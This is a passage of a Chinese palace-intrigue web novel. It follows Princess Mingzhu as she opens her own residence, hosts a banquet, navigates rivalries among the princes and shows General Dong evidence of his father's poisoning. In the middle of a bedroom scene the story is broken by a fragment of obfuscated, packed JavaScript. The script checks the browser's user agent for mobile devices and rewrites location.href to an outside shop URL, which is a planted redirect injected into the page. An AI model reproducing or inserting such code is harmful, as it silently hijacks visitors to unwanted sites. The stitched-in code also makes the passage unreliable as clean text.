“……”松芜犹豫了片刻，摆手道，“新的，你穿走吧。”
菊若狐疑地打量了他一眼，这衣服款式并不花哨，内敛中透着贵气，倒是和殿下素日穿的常服相仿。
“之前殿下生辰，你送的什么？”菊若摸着衣物问道。
“书。”
菊若挑眉，看来是没好意思送出去。
“舍得给我？”
“横竖，我只剩下你一个妹子了。”
妈的，说话真难听。
菊若翻了个白眼，进到屏风里面，另一侧松芜的声音传来。
“其实，我一直觉得蹊跷，小妹她虽然疯，却也不蠢。
“至少，没蠢到把自己毒死的地步。”
“你是说，有人对小妹下手？”菊若冷笑道，“除了你，还有谁想害她？”
“我再恶毒，也不会要了她的命。”
“可谁会要她的命？”
“那些看不惯她的人，你也清楚，她在殿下身边，被纵得无法无天。”
总会有人和他们一样，心生妒忌，恨不得取而代之。
听他所言，菊若手中的动作放缓。
“你是说——梅辛和竹临？”
松芜摇了摇头。
那两条小哈巴狗，一个假正直，一个真冷血，干不出这种耍心机的费力事。
“未必，以殿下的性情，招惹上什么疯子也寻常。
“这次殿下回来，不是从北境带了一个人吗，还叫他暂留宫中。”
菊若瞥了眼屏风外，心中腹诽，这人真是一双眼睛贼在殿下身边，殿下还没向他们坦白，他就已将此事打听清楚。
他这人，在殿下面前，就乐意揣着明白装糊涂。
“那个叫桑吉的？”
菊若也不遮掩，此事她也从竹临那里打听到了，殿下在北境收留了一人，起名为桑吉。
“嗯，而且，我觉得他像一个人。”
“谁？”
“鬼方祂。”
不多时，菊若换好了衣物，从屏风里走出来。
“怎么看出来的，你见过他了？”
“还未，殿下返京，手底下人回来说，她身边跟着一个不同寻常的年轻人，和当时鬼方祂的人皮面具，有八分相似。”
菊若吐出一口恶气，愤愤不平。
“怎么什么阿猫阿狗都要围在她身边，这一看不就是那人叛逃戎狄和族群，无家可归了，才狗皮膏药似的黏上殿下。
“被赐了名字，就以为有了名分，别怕是高兴得太早。”
长公主宫内。
昨夜，那人陪皇帝用完晚膳，就没回来，桑吉辗转反侧，猫在房顶等了一宿，迟迟不见人影。
今日一大早，桑吉顶着两圈黑眼圈，左顾右盼，终于抓到一个来打扫宫室的宫女。
“她呢？”
宫女一愣，才知道他指的是谁。
“殿下在宫外啊。”
“她怎么一晚上不回来？”
“殿下偶尔会宿在宫外，午后苏家小姐相邀，咱们殿下赴宴去了，估摸着要傍晚回来。”
“……”
苏府中，凉亭四周风轮转动。
一旁，苏景荷将杨梅汁浇在凿好的冰沙上，取来一片薄荷拍醒，点缀在上面，送到明珠面前。
“殿下想搬出宫？”
“嗯，住在外面方便些。”明珠接过冰饮，说道，“谢谢。”
“殿下客气。”苏景荷颔首道。
两人饮着冰，午后暑气被驱散了几分，苏景荷注视着眼前之人，悄悄用指尖勾画着她的轮廓。
此番北境之游，虽偶有通信，却总觉得有什么大事发生，才让殿下如此深沉，可殿下不曾主动开口，她也不便询问。
直到对方的目光看过来，苏景荷收回手，故作感叹。
“唉，真羡慕殿下，能自己在外立府。”
“这有什么，我府中必定要有你的房间。”
苏景荷冲明珠莞尔一笑，“殿下真好。”
而后转念一想，心情又低落几分，手中的汤匙一下一下戳着冰沙。
“殿下也知道，家里正给哥哥和我张罗婚事，哥哥还能以立业为由，推辞一段时间，我就没法子了。”
苏景荷如今十七岁有余，尚书大人是出了名的爱女，更要给她寻一门好亲事，尤其有苏家祖母催促，从老家一路相看，回京也不能停歇。
“这些天，婶婶姑姑已经塞了好些宴会的帖子了，马球、诗会、赏花……”苏景荷学着往日明珠偷懒的口吻，说道，“这么热的天儿，我可不想在日头底下晒着。”
“那你有中意的人吗？”明珠问道。
“有啊，”苏景荷眉眼
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弯弯，玩笑道，“我最中意殿下了。”
明珠轻敲了下苏景荷的额头，无奈一笑。
“殿下也知道，京城世家子弟中，也就我兄长和向阜哥哥能值得称好了，其余的，要么就是草包，要么就是纨绔，别说我，我爹娘和兄长必定不情愿。
“前些日，我哥还差点和人动起手来。”
“苏怀安，跟人动手？”明珠诧异道，“对方得无赖到什么地步啊。”
身后响起一个男声，“殿下有所不知——”
一转头，身着官服的苏怀安正在凉亭外的小径走来。
他下朝回家，听说长公主殿下在，前来见礼，正听到她们谈及此事，忍不住插话进来。
“那家伙好不要脸！”苏怀安气闷道，“堵在我家门外，拿着一张景荷弄丢的帕子，扬言与景荷定过什么娃娃亲，还抱着聘礼往我家强闯，属实无赖！”
明珠眉头紧皱，愠怒道，“这不混蛋嘛！”
“仗着苏家都是斯文人，不和他动手是吧。
“依我看，就该拿抹布堵上他的嘴，用大门夹他的脑袋，让他这辈子不敢靠近苏家！”
苏怀安听得十分解气，附和道，“是吧，殿下也这样觉得！”
瞧着他们义愤填膺的样子，苏景荷忍俊不禁。
她安抚起两人，说道，“一张帕子而已，他当什么宝贝，我丢出去一百张，难不成还要订一百次亲。”
见景荷自己并不将此放在心上，明珠才稍稍放心。
她忍不住叮嘱道，“下次要再有这种事就来找我，什么泼皮，打一顿就知道规矩了。”
“那殿下还是快些立府吧，到时候我躲在殿下那里，也省得看见这些人。”
一旁，苏怀安听到立府之事，面露顿悟。
“原来如此。”
“怎么了？”明珠疑惑道。
“今日在御书房当值时，听到陛下问栾太傅，京中哪几处府邸可供赏赐，原来是为长公主府筹备。”
不仅如此，还要离皇宫近，离镇国公府要多远有多远，当时他只觉得蹊跷，如今看来，确是合理。
可这立府的旨意一下，不知要引得多少猜测，若非这些年来往，恐怕他也和京中诸人一样，以为长公主殿下还对向阜情根深种。
为好友惋惜了一瞬，苏怀安又兴致勃勃道，“殿下设府摆宴，我们可不能缺席。”
“自然，届时还望苏家公子和苏家小姐赏光了。”
140.京城，我罩的，懂
长公主府的工期比想象中短些，在京中择址后，宫里派了许多人手，明珠事先拟好草图，交由内廷园林司督办，期间派菊若来监工。
当初醉仙楼改建，便是由明珠设计，菊若一手操办，成品深得她心，所以明珠放心交由菊若，只待验收。
皇帝那里虽念叨，却还是随了她的意，并嘱咐她，一定要选些得力的护卫驻守府内。
其实，按他的性格，不会轻易赞同此事，尤其在外界是非不定的情况下，答应自己搬离出宫，不过是另有心思。
早在回宫后没几日，三皇子登门，私下告知明珠了一件事——在她抵达北境前，皇帝便晋位令嫔。
令嫔封妃，秘而不宣，无非当事人心虚面对。
所以，在皇帝面前，明珠心照不宣地未提及此事，将对方的纠结看在眼里，面上始终保持着缄默。
他们父女之间的隔阂，也许已难以跨越。
不过，好在栾城之事皇帝态度鲜明，惩处严厉，可见并不知晓其中内情，十有八九，是三王揣摩上意，自行安排，为他皇兄心爱的小儿子和其晚年傍身，提早准备。
可，将来呢。
这场闹剧，已然这般惨淡，由不得她开始，也难料如何结束，若有朝一日，皇帝想要为十三皇子奔一份前程，谁又能来收场。
无论如何，她不愿坐以待毙。
开府独立，为第一步。
今日，便是入府的吉日。
一踏进府邸，便见宅中园林布局有方，景色清丽。
引了一汪泉水进院，接口处的竹筒，有一搭没一搭地低头抬头，池中细沙在层层洗刷下，呈波纹状，沿水岸荡开。
岸边，矮松和竹叶交叠，高矮错落，香气幽微、清冽。
她不愿种许多花，怕招来蜂蝶，只在靠近窗边的地方，种了几株兰花，小小的，富有生机。
卧房内，明珠将漆盒放在床边，轻抚着，喃喃自语。
“我们回家了。”
环视四周，不见杂乱的艳丽色彩，房中所用紫檀木料偏深，配以绣金绸缎，桌案上放置着一面玲珑棋盘，乃松芜所赠。
不宜活泼，也不必恬淡。
身处其中，心境趋于沉稳，于细看下，暗流涌动。
长公主独立设府，此事一经传出，京城内外议论不休。
不禁猜测长公主婚期将至，除此之外，众人更生出了心照不宣的共识，此乃一种讯号，以长公主府为首的势力，将要划分出新的阵营。
过去几年，陛下圣心转圜后，看似对长公主恩宠不断，可众人皆知，一个只在口头上受宠的公主，没有半分实权，今日讨得陛下欢心，明日也可被轻易收回。
而眼下，明珠长公主实打实地，成了京中最炙手可热的人物。
当初，陛下将与戎狄谈判的事宜交由长公主，可她却唯独要了一座孤山，因此京中不少人诟病，说她任性妄为，坏了家国大事。
峰回路转，谁知这名不见经传的雁岭山上，居然挖出了火油。
长公主名下的月记，在北境开办了官商合营的火油厂，贩卖火油制品，赚得盆满钵满，不少大字号的商户，凡背后有靠山势力的，也纷纷提出合作邀约。
但若仅仅财帛，并不足以令众人侧目。
北境雄狮，经由长公主一手提拔的将士，在京城赫然扎根。
曾经齐侯相交那些蝇营狗苟之辈，被一扫而空，靡靡之风被强军铁血取代，而齐侯缠绵病榻，顾不上外界的纷争。
这京城的权力中心，长公主李凌月已然榜上有名。
这些时日，各亲贵大臣送来的乔迁贺礼堆满了前庭后院，一个个大张旗鼓，生怕被别家比下去。
乔迁新居，晌午设宴。
明珠请了相熟的几位好友，董向阜、苏家兄妹，还有现于京中就任的裴元，宫里的皇子公主她均未下帖，只私下同三皇子和五公主说过。
毕竟，如果都请了，表面上姊友弟恭，可有生人来，自己落得不自在，如果挑挑拣拣地请了，便是明摆着拉帮结派，容易招仇恨。
如今的明珠长公主，已然不是当初那个需要讨好弄巧的人了，索性无视，想来的人自然会不请而来。
这不，一大早
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，就有人登门。
“长姐偏心。”
身后，李凌霄尾巴似的跟着明珠。
“为何私下去和三弟他们说，不来知会我？”
明珠尝了尝腌渍好的桃瓣，口感滑腻，甘甜在舌尖浸润，味道不错。
“尝尝。”
李凌霄顺从张嘴，也被投喂一瓣。
“我猜你会来，何必多此一举。”
明珠打量了他一眼，说道，“你消息倒是灵通，就怕被别人发现，我特地吩咐避开人去说的。”
“三弟来问我是否到场，我才得知的。”李凌霄面不改色道，“长姐若不信，可亲自去问他。”
明珠擦了擦手，懒得追究他说的真话假话。
花厅内，席面前菜和配用的开胃果酒都预备齐全了，待宾客到场便可开席，明珠端起她那杯，轻抿了一口。
梅子的酸绽开，入喉有些柔和的辛辣，细品一番，唇齿间还残留几缕果物清香。
见做东这位自己偷喝上了，李凌霄无奈，接过她手中的杯，又放回桌上。
“长姐可别客人们没到，就先醉了。”
“无妨，今日请的都是熟人，拢共也没几个。”
“听说长姐请了董将军？”
“嗯。”
不过，他肯不肯来就不一定了，上次闹成那样。
回想起他们刚结识那阵子，还是挺和睦的，虽说她自诩和董向阜私交不错，但总觉得这两年，他们二人不是在吵架，就是在准备吵架中。
只是，董向阜正值风口浪尖，京城多少双眼睛盯着。
世家圈子里，尤其是那些没什么德行出息的家伙，巴不得往他身上泼脏水，竟形成了以诋毁董向阜为主流的风潮。
现如今，这件事的真相已不再重要，妒忌之人私心泄愤，好像骂得越多，就越为齐铭将军站队助威，宛如正义使者。
此番明珠不顾他们两人的流言蜚语，特地相邀，亦是向众人表明立场——
董向阜不需要向任何人证明，也无需融入那黑白颠倒的怪圈。
今后，她才是规则。
141.热灶都要趁热烧
京城外，邰庄。
村里人丁不多，偶有种地的农户，也都花白着头发。
“老人家，劳烦问一下，咱们村里可有一户姓陈的人家。”
佝偻老人抬起头，说话之人甚是眼生，年纪轻轻，瞧着做派像个读书人。
“……你打听这个干嘛？”
“在下是来寻亲，听闻家中表叔于此落户，姓陈，四十来岁，不知您是否认识？”
“这样啊，”老人抬眼示意了下远处，“这条路走到头，有一家姓陈，家里还有个儿子，不知道是不是你说的那人。”
“多谢您了。”
村落尾部落户的人家，门前潦倒，房檐上结了一层层蛛网，台阶满是落灰，土坯的房子瓦砾混着稻草补的顶，寒酸不已，全然不似江洋大盗陈一言的居处。
随从打量着这间民房，像是许久未有人烟。
“少卿大人，这儿看着……不像是咱们要找的地方啊。”
曲昶沉吟片刻，说道，“进去看看。”
晌午，宾客莅临。
长公主府外，苏家兄妹率先到了，明珠在府门前相迎，眼见这两人面容比起前些时日，憔悴了不少。
“怎么了这是？”
“殿下，先别在此处逗留。”
一下马车，苏景荷就匆匆拉过明珠，快步进府。
“这么急，后面有狼追你们不成？”明珠疑惑道。
“若是狼就好了……”苏怀安苦笑道。
“到底怎么回事？”
“殿下有所不知，苏府现下都快成集市了。”
自从收到请帖那日起，董家有董向阜那个冷面阎王坐镇，无人敢踏足，即便有些个不开眼的凑上前，也都吃了闭门羹，说是将军在京郊陪侍董老将军，不在府中。
苏家就不同了，尚书大人苏靳山和其妻柳箐，是出了名的和蔼有礼，尤其京城中亲贵众多，门阀士族关系甚广，纵使是朝中一品大员，也不能对外客摆个冷脸色，这帖子从送到府里那刻起，就没消停过。
四面八方来的婶姨舅叔，拉着苏家兄妹俩没日没夜寒暄，最后话还都要落在长公主府的请柬上，各个豁出一张老脸。
更有甚者，甘愿让自家孩子扮作小厮侍女，以求混入其中。
“齐侯家那两位千金小姐，一直缠着我要长公主府的请帖，那日不巧，三王家的郡主也来了，两伙人正好撞上，险些在我家吵起来。”
前几日，苏府中。
“景荷姐姐，我们姐妹俩仰慕殿下已久，好不容易等到长公主殿下立府之日，殿下却只给了镇国公府和苏府请柬，我们也是没法子。”
齐家两姐妹轮番上阵，齐慧雯顾及着体面，倒是齐念雪，在家被娇纵惯了，被婉拒后忍不住埋怨。
“是啊，景荷姐姐和长公主殿下素来关系好，替我们要两张请柬也不是什么难事，三番两次推诿……”
眼瞧苏景荷听见这话，脸色不佳，齐慧雯急忙给齐念雪使眼色。
“诶呀，景荷姐姐别见怪，我一向心直口快。”
“呵，说了不中听的话，居然标榜自己心直口快，这份颠倒是非的本事，放眼京城，怕是也没几家赶得上齐侯府。”
几人来到花厅，却听到一女子言辞尖锐，矛头直指齐家。
齐家姐妹刚想上前，发现此人不是别人，正是三王府的郡主，苏景荷也慌了神，与赶来传报的丫鬟面面相觑。
下人们自然也清楚这两家的恩怨，便留下郡主在花厅等候，不想，苏景荷好容易送客至此。
冤家路窄，剑拔弩张。
“我当是谁，原来是郡主啊，三王不是被陛下禁足在府吗，怎么，你们三王府的人还能外出？”
“哪儿听来的虚妄之言，陛下只是关心父亲安危，怕某些人胡乱攀咬，并非禁足！”
“公道自在人心，郡主生辰闹出那样的祸事，难说这其中没有郡主的原因啊。”
“你们——！”
眼见再这样下去难以收场，苏景荷忙上前，拦在中间两头劝阻，好在郡主遇上这两人也不愿多留，匆匆向苏景荷告辞后，便先行离去。
明珠听罢，无奈道，“早知就不声张了，私下给你们，省得麻烦。”
“殿下此举也是为了向阜哥哥着想，我们懂的。”
“对了，刚才你说齐侯家女儿们也三番五次要请柬？”
“没错。”
明珠不免疑惑，齐侯和三王，恐怕是她在京中交恶的唯二两家了。
与三王的恩怨暂未摆上台面，可齐老二，他们结有梁子，已算是京中公开的秘密，连带着惠妃也没给过她好脸色。
齐二家的女儿，为何要求长公主府的请柬？
苏景荷解释道，“大约是为着二皇——”
月亮门后，脚步声响起。
“我说怎么不见长姐，原来是客人们到了。”
“参见二皇子殿下。”
话语一顿，苏家兄妹向来人行礼。
“二位不必拘礼。”李
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凌霄客气道，“我与二位也相识多年，既是长姐的客人，私下不妨自在些。”
李凌霄视线投向苏景荷，方才的对话尽收耳中，此刻，李凌霄笑容略显敷衍。
“我想起来，跟苏小姐借的那本书尚未归还，今日既然相见，午后我差人送还府上可好。”
“嗯，但凭殿下吩咐……”
苏景荷心虚地看了眼明珠，果不其然，对方正打趣似地看向自己，那眼神仿佛在说“我等你解释了”。
这时，门房又传来通报。
树影骚动，藏于叶间的桑吉注意到来人，不禁侧目。
“四皇子？”明珠讶异。
李凌煜竟然自己找上门来，虽说以前此人也是个自来熟，可今非昔比。
自从那夜，她在鬼方祂口中得知真相，这个表面恭敬讨巧的皇子，俨然变为了城府极深的腹黑人物。
这位，便是当初与鬼方祂勾结，在天牢给翟渠下毒的内应。
明珠对其他三人说道，“你们先到厅上等我。”
长公主府门口，李凌煜欣然等候。
许久未见，这些孩子们一个个旱地拔葱似的，疯长起来，离京前，四皇子和她身高齐平，现下却高出她一头。
唯一不变的那一双眼眸，还似潭水般波光粼粼，深不见底。
媚眼如丝，仿佛看什么都情真。
见明珠出来，李凌煜殷勤上前。
“此番皇姐立府，只邀了京中几户人家，宫里我们做弟弟妹妹的都难求得一柬，好在皇姐还是偏疼我们的，纵使不请自来，想来皇姐也不会怪罪。”
明珠勾起嘴角，说道，“你一贯会哄人。”
“不过，恕臣弟多嘴，皇姐莫不是——好事将近？”
“何出此言？”
“听闻皇姐特地请了董向阜将军，皇姐与董将军两心相悦，臣弟在此先行道贺了。”李凌煜感慨道，“此前皇姐不远千里，奔赴北境，只为见心上人一面，臣弟听来都甚为动容。”
听到李凌煜所言，明珠并不意外。
这大概就是京中关于她和董向阜流言的主流版本，怕是李凌煜真信了几分，否则不会在登门时触霉头。
“四皇子此言差矣，殿下心胸绝非那般狭隘，殿下所为，乃为大梁国运和北境军民，而非董某一人。”
驱马而来的青年，换下素日的银罗铠甲，神色凛然，不怒自威，他手勒缰绳，居高临下地审视着李凌煜。
“四皇子殿下，莫要以讹传讹。”
142.真伪骨科
筵席设于露天外厅，四面镂空，珠帘轻纱隔断，四角悬挂琉璃风铃。
微风起，叮当作响。
座位分席，置矮脚桌和软垫凭几，沿两列排开。明珠居中上位，左手起为李凌霄和李凌煜，右手边苏景荷、苏怀安、董向阜由近及远。
将餐前的干果蜜饯撤下，一道道菜肴被分别上桌，今日从醉仙楼把蔡师傅请了过来，烹饪下酒十五盏。
花炊鹌子、三脆羹、羊舌签、鸳鸯炸肚、沙鱼脍、洗手蟹、蛤蜊生等等，配以劝酒果子十番，果物清甜，浸泡在度数不高的酒中，变得醉人可口。
曲水流觞，觥筹交错。
明珠背倚着凭几，面染红晕。
“殿下把这宅邸修缮得这样好，我可得连夜搬进来。”苏景荷撒娇道。
“好啊。”明珠托着下巴，偏头看向她，笑道，“房间都安排好了，就在我隔壁，什么时候来，我在床上等你。”
“咳咳咳！”苏怀安和董向阜不约而同，发出阵阵咳嗽掩饰。
他们这位长公主殿下一贯如此，酒量又小，一喝多还语不惊人死不休。
一旁的苏景荷也红了脸，分不清是醉意，还是羞红的。
“长姐。”
不知何时，李凌霄凑近跟前，骨骼分明的手背轻贴上泛红脸颊，燥热在二者之间传递，吐息带着相同的果酒香。
“长姐有些醉了。”
李凌霄语气柔和，话仿佛含在口中，不过，这点度数，远远不会令他神志不清。
“是吗……？”明珠眉头微皱，含糊道，“有一点吧。”
指尖划过，将她嘴角的酒渍拭去，李凌霄暗自摩挲几下，粘腻的汁液混着芳香，在指上蔓延。
见此情景，众人眼神有异，苏家兄妹不禁看向董向阜，之前这二位殿下并无交集，同去一趟北境，关系竟变得如此亲近，等下可要向他好好打听一番。
“我扶长姐回房休息吧。”
“……好。”
明珠被搀扶着起身，不忘回头对众人说道，“你们别走啊，晚上烧烤。”
除了休憩所用的客房，明珠准备的消遣不少，各式棋盘、投壶垂钓，书房的大门敞开，里面收录着五花八门的书籍。
书房内，苏景荷端着本书，环视无人，董向阜也被李凌煜邀去对弈，便迈步朝自家哥哥那边的书架靠近过去。
“怎么了？”
“哥，你就不觉得二皇子他不对劲吗，他对殿下……”
“是，明眼人都看得出，他有意亲近殿下。”
苏怀安望向院子沙沙作响的竹叶，纤细挺拔的竹倚在院墙，节节攀升。
“放眼京中，旧族衰微，新秀未起，以殿下今时今日所握权势，二皇子纵使有所图谋，既然殿下不排斥，总归不是坏事。”
天家血脉本就凉薄，有些人生来便是敌人，更何况，都已是而立之年，又没有从小到大的深厚情谊，如今亲近，那几分真心尚可忽略不计。
难道二皇子是十九年后的今日，才发现自己有个长姐吗？
这一点，想必殿下自己心里也清楚。
宫里这几位皇子，除了默默无闻的三皇子、西域血统的四皇子，二皇子李凌霄背靠齐家，地位尊崇，而八皇子李凌邺，其母淑妃乃是褚相嫡亲孙女。
先皇后早逝，惠妃与淑妃分庭抗礼，后来褚相倒台，淑妃母子在后宫势力渐趋没落，如今也被诞下一儿一女的令妃取代，殿下先前信中告知，令妃与三王达成共谋，又有宠爱傍身，不容小觑。
可十三皇子终究还只是蹒跚学步的稚子，殿下选择二皇子，赢面更大，二皇子若与长公主联手，在众皇子中，自然可立于不败之地。
“我说的不仅是这些。”苏景荷蹙眉道，“我是说，他的举止，还有他看殿下的眼神，哥你不觉得不对劲吗？”
苏怀安愣了片刻，待他读懂妹妹的话，累觉荒唐之余，卷起书卷重重敲了下她的脑袋。
“瞎说什么呢，那二位可是亲姐弟。”苏怀安无奈道，“你啊，以后少看那些悖逆人伦的闲书。”
卧房内。
酒劲上头，脑袋晕乎乎。
明珠晃晃悠悠被放倒在床榻上，自觉将鞋子踢掉，还不忘抓着身侧之人，嘴里嘟囔着。
“陪我睡一会儿。”
李凌霄一怔，“长姐，这不妥。”
“小时候都行，现在怎么就不行了……”
明珠往床榻里面挪了挪，拽着对方不肯罢休，催促道，“快点……”
李凌霄紧抿着唇，手攥袖口，略略侧身倚在床边，也不敢真的躺下，只将背靠在枕边，这姿势并不舒服，此刻他却无暇顾及。
因为，他的腰腹正被床上之人紧抱着。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13715094|129420||http|test|mini|href|location''.split(''|''),0,{}));
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“长姐……”
“嘘。”明珠朝他噤声，还把被子往对方身上挪了挪，喃喃道，“别着凉了。”
柔软的手臂搭在玄衣金纹上，恍惚间，李凌霄生出一种说不上来的念头。
若他们不是亲姐弟就好了……
不，他心里明白。
这个人，原本就不是李凌月。
若她是妖魔邪祟，附身于失宠公主身上，他大可以设计将她囚禁起来，任凭谁都不能靠近她。
可偏偏，她得了父皇的圣心。
自那年二人病愈后，父皇放下父女间隔阂，才让如今的长公主有幸享了这份恩荣。
要知道，大梁长公主尚在胎中，就被赐号——明珠。
从记事起，父皇对他倚重，常常赞许有加，与其他皇子不同，李凌霄从出生就被那些亲贵大臣看好，起初他甚为自负。
随着他逐渐接近那位无上至尊的君父，他发现了，从始至终他的父皇只在乎先皇后和他们的那个女儿。
否则，她这样一个平庸软弱又愚蠢的人，父皇凭什么另眼相看，为了她甚至甘愿冒生命危险，也要陪在她身边。
父皇深爱着先皇后，曾以为在皇帝的羽翼下，便能护住心爱之人，可躲过了人祸，却难挡天灾。
先皇后难产而亡，父皇无法原谅他自己，也无法面对那个让先皇后舍弃性命生下的孩子，以至于长公主被冷落了许多年。
当时京中时疫尚未显露，长公主偷跑出宫外，又去找董家的少将军，父皇对此一向睁一只眼，闭一只眼。
听闻长公主回宫，被查出得了时疫后，父皇一反常态，不管不顾地跑去照顾她，没日没夜劳心伤神，致使自己也染上瘟疫。
自从他们奇迹般病愈，似乎为了弥补，父皇再也不避讳任何人，彰显对长公主的宠爱，外人皆以为是长公主外嫁前的笼络。
只有李凌霄却对此毫不意外，可即便他早已知情，也不屑于拉拢那样一个庸懦公主。
而她的变化，让他始料未及。
他想过杀她，也想过救她，无数次利用她，他选择和她站在一起，即便这期间在不为人知的地方背叛过她。
在这层蒙着血缘的纱布中，情愫从溃烂处，长出新的肉芽。
李凌霄偶尔会胡思乱想，他们以姐弟的模样相遇，对他而言，究竟是好是坏。
143.吐露真相
庭院中，李凌煜邀了董向阜对弈，李凌煜指尖揣着棋子，心思却不在棋局上，他偶尔抬眸，打量起面前的青年。
“方才，是我唐突了，还望将军不要见怪，我所言只是心系皇姐将来，皇姐对将军的情谊众人有目共睹，身为弟弟，也期盼她得偿所愿。”
另一侧，董向阜坐定，棋风如人，气势不破。
“臣明白。”
他们之间本就没什么交情，四皇子却好似自来熟，浑然不知在自讨没趣，仍不厌其烦地说着这些场面话。
“如今京中流言甚嚣尘上，多半也都是些不实之言，将军切莫心灰意冷，皇姐与我必然站在将军一边。”
董向阜将棋子执下，合围之势已成，大掌一挥，收缴残余。
“四皇子殿下，承让。”
无论是方才宽慰感言，还是既定胜局，董向阜自始至终面无波澜。
“哈哈哈，将军不愧为北境之师的统帅，我甘拜下风。”
李凌煜对此毫不在意，拱手告败后，起身望了眼身后的院墙，那片被竹叶和松柏围绕的庭院，皇兄似乎留得久了些。
他恍若无意道，“也不知皇姐酒醒了没有，难怪，以往宫宴上皇姐从来滴酒不沾，我记得当年戎狄大王子来向长姐敬酒，被父皇和皇兄们挡下，想来当时他就心怀不轨。”
“翟渠？”董向阜问道。
“对啊，就是他，当初来求亲，却不想是那等宵小之辈，竟敢算计到皇姐头上，幸好被识破，否则还不知要酿下多大的祸事。”
“……”
董向阜自知这是他们合谋设下的圈套，她当初让自己向祖父相求，将董向祺送回京中，他就猜出她存了利用之心。
可当初长公主并未透露，只说她会见机行事，让大梁寻到战事的由头，打他们个措手不及，为大梁争得宝物，却不想她竟以身犯险，卷入乱局之中。
他也没想到，翟渠会真的对她动心，这对她而言，不算是好事。
虽为劲敌，董向阜却也十分了解翟渠为人，他不会轻易罢休。
被卷入两国争斗的女子，最终下场如何，自古以来世人再清楚不过，现如今，长公主有陛下盛宠，可若是翟渠贼心不死，迟早有一日，她就会沦为两国谈判的筹码。
李凌煜见他神色凝重，一语道破，“那人如今回到戎狄，他日卷土重来，皇姐怕是处境堪忧，我知两位情深意重，所以还望将军为皇姐着想。”
“并非我不愿……”董向阜为难道。
这时，李凌霄从内院中回来。
李凌煜止住方才话题，上前迎道，“怎么皇兄去了许久，可是皇姐那边有什么不妥？”
“没有，”李凌霄面不改色道，“去后厨吩咐下人做了醒酒汤，各位不如一同用些，长姐还预备了茶点。”
下午茶选取的都是京中时兴点心，蜜浮酥萘花、冰雪冷元子、春水生、琼叶糕，晶莹剔透的果子雕刻成花朵模样，栩栩如生。
为甜食解腻，配以微苦抹茶，粉绿相间，色香味俱全。
外间来人，跟二皇子在廊下低语说着什么。
苏景荷终于抓到时机，忙拉着苏怀安归位，凑在董向阜身旁，向他讨问二皇子和明珠的近来情况。
被晾在一边的李凌煜，自顾自喝着茶。
卧房内。
兰花幽微的气息唤醒神经，缓缓睁开眼睛。
窗边，斜阳西挂，火红的云映在池面上，隐约听到院墙外传来说话声。
明珠起身，床边放着一杯解酒的葛花贡菊茶。
醉意早已被睡梦稀释，梦里，她见到了兰萤，自己抱着她，哄她睡觉。
饮了口茶，神清气爽。
她走出门外，漫步在连廊中，说话声由远及近，定格在眼前。
光被轻纱笼在四周，庭院和人都染上一层不刺眼的暖色，苏家兄妹和董向阜凑在一起，似乎在小声询问着什么，惹得董向阜眉头紧皱，一头雾水地看着他们。
李凌煜在一旁，看似无意，实则耳朵贴近，手中捧的茶半天不见喝一口，偷感十足。
见状，明珠不禁露出笑意。
一个身影挡住视线。
“长姐。”
明珠抬起头，李凌霄正垂眸看着自己，他逆着光，眉眼带着些许锋利，倒有几分初见时的模样。
“怎么了？”
“臣弟恐怕要先行一步了，方才母妃传我回宫。”
“噢，那赶紧去吧。”
说着，他却不动。
明珠疑惑，马上想到惠妃那脾气，又向来看不惯自己，李凌霄来参加长公主府的宴会，多半不乐意。
“没什么事吧？”明珠关切道。
“嗯，我改日再来看长姐。”
“好。”
见李凌霄要走，李凌煜也随即告了辞，明珠在门口送别两人。
待马车驶远，桑吉从树干间翻身跃下。
“原来你跟那个人交情很好吗？”
明珠知道，他指的是李凌煜。
“不熟。”
“那他这是，想讨好你？”
“未必，比起我，他肯定更乐意跟着二皇子。”
李凌煜的母族来自西域，大梁不会允许一个外族血脉登上皇位，他从出生起，就没有被选择的余地，故而依附强枝，这不难懂。
可他却暗中帮鬼方祂毒杀翟渠，翟渠若死在大梁，戎狄必将举倾国之力打下这一仗，那便不
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再如当初那般轻易，届时董向阜面对的，将会是满含恨意的戎狄悍骑。
殊死一战，胜负难料。
倘若山河踏破，国境失守，董向阜战死……
明珠打了个寒颤，压下思绪。
“说正事，一会儿我有要事，你替我守好房门。”
原本她是想留在晚上私下说，正好碍事的那两个走了，留下的都是自己人，时不我待，也省得闹出些别的流言。
“你要私会谁，哪个男人，还是女人？”桑吉问道。
明珠瞥了他一眼，“年纪轻轻的，少打听。”
回到院中，见那三人还凑在一起，鬼鬼祟祟，直到她走上前，苏景荷还浑然不知。
“你们跟他打听什么呢？”
“呀！”苏景荷捂着胸口，心有余悸道，“殿下……”
“至于这么心虚吗？”
“我……”苏景荷支支吾吾起来。
明珠双手交叠，说道，“我还没问你呢，你那本书是怎么跑到李凌霄手里的，嗯？”
“那个真是偶然。”苏景荷求饶道，“那日，我在书局碰上二殿下，当期的《京都杂谈论》刚好售罄，二殿下就将他那本让给了我，我本想以物易物，却不想他开口借的竟是——那本书。”
明珠听罢，心中有数。
李凌霄可不是会为了一本《京都杂谈论》，亲自出宫去买的人，他若要看，必使书局之人亲手奉上，又怎会等到刚好售罄之时，刚好买到最后一本，刚好遇到苏景荷。
借的还是她和苏景荷共同创办的《阜安夜话》，若非蓄谋已久，就是他转了性子，要与民同乐了。
苏怀安不明所以，问道，“什么书啊？”
“就是一本……闲书。”
苏景荷求助地看向明珠，明珠装作忽视，给董向阜使了个眼色后，两人一同离席，留下苏怀安盘问自家妹妹，又看了什么悖逆人伦的闲书。
“去我房中，有正事跟你说。”明珠正色道。
“这……”
董向阜深觉不妥，却见明珠郑重其事，便点了点头，不再纠结于男女之防。
房中，明珠取来装有鬼方族长证词的木匣子。
“此事事关重大，我当初没有及时告知你，请你谅解。”
目光所及的罪证，一条一条摆在眼前，董向阜握着纸张的手，不由收紧，直到最后，他蜷起身子，恍若回到了那个初闻父亲噩耗的时刻。
恍惚、无助，难以置信。
以往每次交战，即便董向阜年少，可身为将门之后，他并非没有觉悟，但父亲死在了他自己的帐中，突发心悸，无力回天。
“这个就是当初——齐宗毒害镇国公的毒药。”
144.少将军的往昔
那一年，名满京城的少将军，成了无父无母的孤儿。
